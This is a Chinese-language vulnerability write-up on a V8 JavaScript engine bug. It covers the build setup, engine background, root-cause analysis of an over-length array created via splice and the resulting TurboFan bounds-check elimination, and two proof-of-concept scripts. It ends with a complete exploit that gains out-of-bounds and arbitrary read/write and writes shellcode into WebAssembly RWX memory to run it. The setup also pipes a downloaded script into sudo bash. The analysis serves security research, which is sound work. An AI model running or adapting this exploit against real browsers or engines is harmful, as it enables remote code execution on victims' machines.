环境搭建
编译存在漏洞的v8源码:
git reset --hard 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug安装Turbolizer可视化工具:
(1)安装npm
Ubuntu下默认的apt里面的nodejs不好使,安装最新版的
python-software-properties 有些情况下可能会找不到,然后会提示你安装另一个包,如果是这样的话根据提示安装那个包就好了。
sudo apt-get install curl python-software-properties
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo apt-get install nodejs
sudo apt-get install npm(2)启动
cd v8/v8/tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer 8000
之后通过chrome浏览器访问 127.0.0.1:8000(3)生成Turbolizer文件
./d8 --trace-turbo ./poc.js基础知识
JavaScript splice() 方法
定义和用法
splice() 方法向/从数组中添加/删除项目,然后返回被删除的项目。
注释:该方法会改变原始数组。
语法:arrayObject.splice(index,howmany,item1,.....,itemX)index 必需。整数,规定添加/删除项目的位置,使用负数可从数组结尾处规定位置。howmany 必需。要删除的项目数量。如果设置为 0,则不会删除项目。item1, ..., itemX 可选。向数组添加的新项目。Array.prototype.concat.apply
apply方法会调用一个函数,apply方法的第一个参数会作为被调用函数的this值,apply方法的第二个参数(一个数组,或类数组的对象)会作为被调用对象的arguments值,也就是说该数组的各个元素将会依次成为被调用函数的各个参数;
简单来说,该方法可以将多维数组转化成一维数组。
Math.max()
函数返回一组数中的最大值。
v8 指针压缩
为了节省内存空间,v8将64位的指针压缩成了32位,具体做法是将高32位存放在r13寄存器,用4个字节存储低32位,在访问某个指针时,就将低32位指针加上r13保存的高32位。
同时,为了进一步节省内存空间,之前SMI 存储为value « 32,低32位都为0,现在用SMI的值用4个字节存储,并且为了不和指针混淆,最后一位不用(指针最后一位为1),所以将value « 1,相当于将原来的值乘以了2。
demo 代码如下:
var a = [0, 1, 2, 3, 4];%DebugPrint(a);%SystemBreak();
v8各个类型的转化
PACKED_SMI_ELEMENTS:小整数,又称 Smi。
PACKED_DOUBLE_ELEMENTS:双精度浮点数,浮点数和不能表示为 Smi 的整数。
PACKED_ELEMENTS:常规元素,不能表示为 Smi 或双精度的值。
转化关系如下:

元素种类转换只能从一个方向进行:从特定的(例如 PACKED_SMI_ELEMENTS)到更一般的(例如 PACKED_ELEMENTS)。例如,一旦数组被标记为 PACKED_ELEMENTS,它就不能回到 PACKED_DOUBLE_ELEMENTS。
demo 代码:
const array = [1, 2, 3];// elements kind: PACKED_SMI_ELEMENTSarray.push(4.56);// elements kind: PACKED_DOUBLE_ELEMENTSarray.push('x');// elements kind: PACKED_ELEMENTSPACKED 转化到 HOLEY类型:
demo代码:
const array = [1, 2, 3, 4.56, 'x'];// elements kind: PACKED_ELEMENTSarray.length; // 5array[9] = 1; // array[5] until array[8] are now holes// elements kind: HOLEY_ELEMENTS即将密集数组转化到稀疏数组。
处理优化的各个阶段

漏洞分析
漏洞在于CodeStubAssembler::AllocateFixedArray 的两个宏实现:
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {if (length == 0) return kEmptyFixedArray;return newFixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};}macro NewFixedDoubleArray<Iterator: type>(length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {if (length == 0) return kEmptyFixedArray;return new FixedDoubleArray{map: kFixedDoubleArrayMap,length: Convert<Smi>(length)floats: ...it};}在两个宏实现中都没有对length的边界大小进行判断就直接新建相应对象,其中FixedArray对象最大长度FixedArray::kMaxLength为0x7fffffd,FixedDoubleArray对象最大长度为FixedDoubleArray::kMaxLength为0x3fffffe。
所以漏洞在于能够创建大于kMaxLength的FixedArray或FixedDoubleArray对象。
漏洞调用链:
// builtins/array-splice.tqArrayPrototypeSplice -> FastArraySplice -> FastSplice -> Extract -> ExtractFixedArray -> NewFixedArrayPoc1:
array = Array(0x80000).fill(1); // [1]array.prop = 1; // [2]args = Array(0x100 - 1).fill(array); // [3]args.push(Array(0x80000 - 4).fill(2)); // [4]giant_array = Array.prototype.concat.apply([], args); // [5]giant_array.splice(giant_array.length, 0, 3, 3, 3, 3); // [6]%DebugPrint(giant_array.length); // 输出DebugPrint: Smi: 0x8000000 (134217728)[1] 处申请了一个0x80000大小的数组,[3]处又创建了一个0xff大小,每个元素为array的对象,此时0xff * 0x80000 = 0x7f80000 个元素。[4] 处再push进一个0x7fffc个元素的数组,此时共有0x7f80000 + 0x7fffc = 0x7fffffc个元素,而FixedDoubleArray::kMaxLength = 0x7fffffd。[5]处利用Array.prototype.concat.apply 将上述混合的对象转化成一维数组。最后,[6]处再次利用splice方法添加4个元素,现在一共有0x7fffffc + 4 = 0x8000000个元素,导致giant_array的长度为FixedArray::kMaxLength + 3。
[2] 处设置属性是为了调用Array.prototype.concat时进入慢路径,因为快路径上有长度检查:
// builtins/builtins-array.cc:1414MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,BuiltinArguments* args) {// ...// Throw an Error if we overflow the FixedArray limitsif (FixedDoubleArray::kMaxLength < result_len ||FixedArray::kMaxLength < result_len) {AllowHeapAllocation gc;THROW_NEW_ERROR(isolate,NewRangeError(MessageTemplate::kInvalidArrayLength),JSArray);}Poc2 和Poc1 类似,只是将数组类型改成了HOLEY_DOUBLE_ELEMENTS,因为HOLEY_DOUBLE_ELEMENTS类型大小最大为0x3fffffe,能更快地触发漏洞。
Poc2:
// HOLEY_DOUBLE_ELEMENTS kind, size=0x40000, filled with 1.1'sarray = Array(0x40000).fill(1.1);// Total number of elements in `args`: 0x40000 * 0xff = 0x3fc0000args = Array(0x100 - 1).fill(array);// We want a size that's just less than FixedDoubleArray::kMaxLength = 0x3ffffe// This new array that is pushed onto `args` can actually have a maximum size// of (0x40000 - 2), but Sergey chooses to use (0x40000 - 4)// Total number of elements in `args`: 0x3fc0000 + 0x3fffc = 0x3fffffcargs.push(Array(0x40000 - 4).fill(2.2));// `Array.prototype.concat` fast path, the length check passes as the final// length of `giant_array` becomes 0x3fffffc, which is equal to// `FixedDoubleArray::kMaxLength - 2`giant_array = Array.prototype.concat.apply([], args);// No length check on `Array.prototype.splice`, `giant_array.length` is now// 0x3ffffff, which is `FixedDoubleArray::kMaxLength + 1`giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);length_as_double =new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];function trigger(array) {var x = array.length;x -= 67108861;x = Math.max(x, 0);x *= 6;x -= 5;x = Math.max(x, 0); // [1]let corrupting_array = [0.1, 0.1];let corrupted_array = [0.1];corrupting_array[x] = length_as_double;return [corrupting_array, corrupted_array];}for (let i = 0; i < 30000; ++i) {trigger(giant_array);}在Turbolizer V8.TFTyper 137 中可以看到Poc2的执行过程:

Turbolizer 认为array.length的长度应该处于Double Array的size范围内,为(0, 67108862),而实际array.length 为67108863,导致后续的计算和实际结果并不相同。具体计算过程如下:
function trigger(array) {var x = array.length; // Range(0, 67108862), actual: Range(0, 67108863), x = 67108863x -= 67108861; // Range(-67108861, 1), actual: Range(-67108861, 2), x = 2x = Math.max(x, 0); // Range(0, 1), actual: Range(0, 2), x = 2x *= 6; // Range(0, 6), actual: Range(0, 12), x = 12x -= 5; // Range(-5, 1), actual: Range(-5, 7), x = 7x = Math.max(x, 0); // Range(0, 1), actual: Range(0, 7), x = 7// [...]}最后得到x的值为7,而Turbolizer认为x的范围为(0,1),后续可以造成越界访问。
关键是后续越界写时,会有MaybeGrowFastElements检查是否将数组类型转成稀疏数组,如下图,图中的CheckBounds是用于检查数组索引是否大于'length+1024',如果大于'length+1024',就会将backing store转成字典,无法进行优化,所以越界读写也有范围限制,要突破该限制,可以在后面布置一个浮点型数组,修改其length,构造另一个可越界读写的数组,且没有限制。
图中左边红框NumberSilenceNaN 表示length_as_double,而索引x的判断经由右边的CheckBounds检查和MaybeGrowFastElements检查,最后在StoreElement 进行"corrupting_array[x] = length_as_double;" 存储。

CheckBounds检查经过之前的处理,x的范围已经被认为是为(0,1),接下来我们看在LoadElimination 阶段如何优化消除了MaybeGrowFastElements :

LoadElimination 阶段遇到MaybeGrowFastElements 节点会调用ReduceMaybeGrowFastElements 尝试进行优化消除:
// compiler/:166Reduction TypedOptimization::ReduceMaybeGrowFastElements(Node* node) {Node* const elements = NodeProperties::GetValueInput(node, 1);Node* const index = NodeProperties::GetValueInput(node, 2); // [1]Node* const length = NodeProperties::GetValueInput(node, 3); // [2]Node* const effect = NodeProperties::GetEffectInput(node);Node* const control = NodeProperties::GetControlInput(node);Type const index_type = NodeProperties::GetType(index);Type const length_type = NodeProperties::GetType(length);// Both `index` and `length` need to be unsigned SmisCHECK(index_type.Is(Type::Unsigned31()));CHECK(length_type.Is(Type::Unsigned31()));if (!index_type.IsNone() && !length_type.IsNone() && // [3]index_type.Max() < length_type.Min()) {Node* check_bounds = graph()->NewNode( // [4]simplified()->CheckBounds(FeedbackSource{},CheckBoundsFlag::kAbortOnOutOfBounds),index, length, effect, control);ReplaceWithValue(node, elements); // [5]return Replace(check_bounds);}return NoChange();}由上述可知:[1] 处为索引的值,范围为(0,1),[2]处为corrupting_array的length,范围为(0, 134217725),经过优化后变为(2, 2),因为循环中corrupting_array赋值只有两个元素,并且没有被修改。所以[3] 处的index_type.Max()为1, length_type.Min()为2,说明索引比数组长度小,并不需要对数组进行扩展。
进入if判断后,[4] 处创建一个新的CheckBounds节点(假设为node_x),会检查实际index是否小于数组大小,如果创建成功,实际index此时为7,不会小于数组大小,无法通过检查。但[5] 处的 ReplaceWithValue(node, elements);操作会导致CheckBounds节点无法创建成功。
ReplaceWithValue 函数如下:
void GraphReducer::ReplaceWithValue(Node* node, Node* value, Node* effect,Node* control) {if (effect == nullptr && node->op()->EffectInputCount() > 0) {effect = NodeProperties::GetEffectInput(node); // [1]}if (control == nullptr && node->op()->ControlInputCount() > 0) {control = NodeProperties::GetControlInput(node);}// Requires distinguishing between value, effect and control edges.for (Edge edge : node->use_edges()) { // [2]Node* const user = edge.from();DCHECK(!user->IsDead());if (NodeProperties::IsControlEdge(edge)) {if (user->opcode() == IrOpcode::kIfSuccess) {Replace(user, control);} else if (user->opcode() == IrOpcode::kIfException) {DCHECK_NOT_NULL(dead_);edge.UpdateTo(dead_);Revisit(user);} else {DCHECK_NOT_NULL(control);edge.UpdateTo(control);Revisit(user);}} else if (NodeProperties::IsEffectEdge(edge)) {DCHECK_NOT_NULL(effect);edge.UpdateTo(effect); // [3]Revisit(user);} else {DCHECK_NOT_NULL(value);edge.UpdateTo(value); // [4]Revisit(user);}}}void UpdateTo(Node* new_to) {Node* old_to = *input_ptr_;if (old_to != new_to) {if (old_to) old_to->RemoveUse(use_);*input_ptr_ = new_to;if (new_to) new_to->AppendUse(use_);}}...void Node::RemoveUse(Use* use) {DCHECK(first_use_ == nullptr || first_use_->prev == nullptr);if (use->prev) {DCHECK_NE(first_use_, use);use->prev->next = use->next; // 将use移走} else {DCHECK_EQ(first_use_, use);first_use_ = use->next;}if (use->next) {use->next->prev = use->prev;}}[2] 处是遍历节点的use边,此时节点为MaybeGrowFastElements,use边为"MaybeGrowFastElements Node::RemoveUse 的链表操作将节点移走,替换成传进的参数value(即LoadField[+8] 节点)。
效果如下:
value value
LoadField[+8] edge edge
将MaybeGrowFastElements节点移走:
LoadField[+8]MaybeGrowFastElements节点的input 边和 use边 关系如下图所示:

调用 ReplaceWithValue(node, elements); 本来是想将新生成的CheckBounds节点(node_x)替换 MaybeGrowFastElements,这样use边就变为CheckBounds(node_x)
但调用 ReplaceWithValue(node, elements); 时effect参数为空,所以进入[1]处,取原来节点的输入边作为effect,即"CheckBounds
这样导致node_x失去use边,变成无效节点。

漏洞利用
(1)利用漏洞可以越界读写,在后面布置一个浮点型数组oob_array,越界修改它的长度,就可以通过这个浮点型数组进行越界读写,更加方便。
(2)利用越界数组搜索ArrayBuffer数组,找到backing_store所在位置,可以通过backing_store构造任意读写的原语
搜索需要注意的是由于第(1)步覆盖length时,将elements字段也覆盖了(新版v8引进的指针压缩,导致字段都占四个字节,而浮点型数组赋值是8个字节为单位)。所以将elements覆盖成1(表示指针),即从0起始地址开始搜索。然后根据调试确定ArrayBuffer 以及后面的wasm Instance大概处于什么内存区间,进行遍历搜索。在笔者的环境中,搜索以下几个区域:
var search_space = [[0x8902000/8, (0x8940000/8)-1], [0x8213000/8, (0x8280000/8)-1], [(0x8040000-8)/8, 0x805b000/8], [0x8100000/8, (0x818d000/8)-1], [0x8740000/8, (0x8900000/8)-1], [0x8901000/8, (0x8940000/8)-1]];该方法由于某个区域可能不可访问,导致崩溃,所以exp执行成功有一定概率。
(3)利用越界数组搜索wasm function的位置,这里在mask后面布置的兑现是wasm Instance,因为rwx区域位于wasm Instance +0x68处,可以直接读取。而不用根据wasm function->wasm_shared_info->wasm_data->wasm_rwx 构造任意读原语一步步读取。
(4)利用任意写原语将shellcode 写入 rwx区域,即可完成利用。
编写该利用存在的坑:由于越界数组为浮点型,每次读写都是8个字节,而由于v8指针压缩的缘故,字段都被保存为4个字节,所以读写的字段可能位于高4个字节或低4个字节,就需要根据读出的内容进行分情况判断。
exp 代码:
var buf = new ArrayBuffer(16);var float64 = new Float64Array(buf);var bigUint64 = new BigUint64Array(buf);var Uint32 = new Uint32Array(buf);var arraybuf = new ArrayBuffer(0x12333);function f2i(f){float64[0] = f;return BigInt(Uint32[0]) + (BigInt(Uint32[1]) << 32n);}function i2f(i){bigUint64[0] = i;return float64[0];}function f2half(val){float64[0] = val;let tmp = Array.from(Uint32);return tmp;}function half2f(val){Uint32.set(val);return float64[0];}function hex(i){return i.toString(16).padStart(16, "0");}function gc() {for (let i = 0; i < 100; i++) {new ArrayBuffer(0x100000);}}var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var wasm_function = wasmInstance.exports.main;var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];array = Array(0x40000).fill(1.1);args = Array(0x100 - 1).fill(array);args.push(Array(0x40000 - 4).fill(2.2));giant_array = Array.prototype.concat.apply([], args);giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];var obj;var corrupting_array;var corrupted_array;function trigger(array) {var x = array.length;x -= 67108861;x = Math.max(x, 0);x *= 6;x -= 5;x = Math.max(x, 0); // [1]corrupting_array = [0.1, 0.1];corrupted_array = [0.1];obj = {mark: 0xdead, obj: wasmInstance};corrupting_array[x] = length_as_double;return [corrupting_array, corrupted_array];}for (let i = 0; i < 30000; ++i) {trigger(giant_array);}var oob_array = trigger(giant_array)[1];console.log("[+] conrrupted array length : 0x" + hex(oob_array.length));gc();var backing_store_idx = 0;var search_space = [[0x8902000/8, (0x8940000/8)-1], [0x8213000/8, (0x8280000/8)-1], [(0x8040000-8)/8, 0x805b000/8], [0x8100000/8, (0x818d000/8)-1], [0x8740000/8, (0x8900000/8)-1], [0x8901000/8, (0x8940000/8)-1]];for(let i = 0; i < search_space.length; i++){var find = 0;for(let j = search_space[i][0]; j < search_space[i][1]; j++){if((f2i(oob_array[j]) & 0xffffffffn) == 0x12333n /*|| ((f2i(oob_array[j])) >> 32n) == 0x12333n*/){backing_store_idx = j + 1;console.log("[+] find backing_store : 0x" + hex(f2i(oob_array[backing_store_idx])));if(((f2i(oob_array[j+1])) & 0xfffn) == 0x0n){find = 1;break;}}else if(((f2i(oob_array[j])) >> 32n) == 0x12333n){backing_store_idx = j;}}if(find == 1) break;}var data_view = new DataView(arraybuf);function dataview_read64(addr){oob_array[backing_store_idx] = i2f(addr);return f2i(data_view.getFloat64(0, true));}//----- arbitrary writefunction dataview_write(addr, payload){oob_array[backing_store_idx] = i2f(addr);for(let i=0; i < payload.length; i++){data_view.setUint8(i, payload[i]);}}for(let i = 0; i < search_space.length; i++){var find = 0;for(let j = search_space[i][0]; j < search_space[i][1]; j++){if((f2i(oob_array[j]) & 0xffffffffn) == 0x0001bd5an ){ // 0x1bd5a = 0xdead *2var wasmfunc_addr_idx = j;var wasmfunc_addr = (f2i(oob_array[wasmfunc_addr_idx])) >> 32n;console.log("[+] leak wasm_func_addr : 0x" + hex(f2i(oob_array[j])));console.log("[+] find wasm_func_addr : 0x" + hex(wasmfunc_addr));find = 1;break;}}if(find == 1) break;}var wasm_rwx_idx = Number((wasmfunc_addr -1n +0x68n)/8n);console.log("[+] find wasm_rwx_idx: 0x" + hex(wasm_rwx_idx*8));var wasm_rwx_addr_low = (f2i(oob_array[wasm_rwx_idx-1])) >> 32n;console.log("[+] find wasm_rwx_addr_low : 0x" + hex(wasm_rwx_addr_low));if((wasm_rwx_addr_low & 0xfffn) != 0x000n){var wasm_rwx_addr = (f2i(oob_array[wasm_rwx_idx-1]));console.log("[+] find wasm_rwx_addr: 0x" + hex(wasm_rwx_addr));}else{var wasm_rwx_addr_high = ((f2i(oob_array[wasm_rwx_idx])) & 0xffffffffn) << 32n;console.log("[+] find wasm_rwx_addr_high : 0x" + hex(wasm_rwx_addr_high));wasm_rwx_addr = wasm_rwx_addr_high + wasm_rwx_addr_low;console.log("[+] find wasm_rwx_addr : 0x" + hex(wasm_rwx_addr));}dataview_write(wasm_rwx_addr, shellcode);//%DebugPrint(arraybuf);wasm_function();运行效果图:

















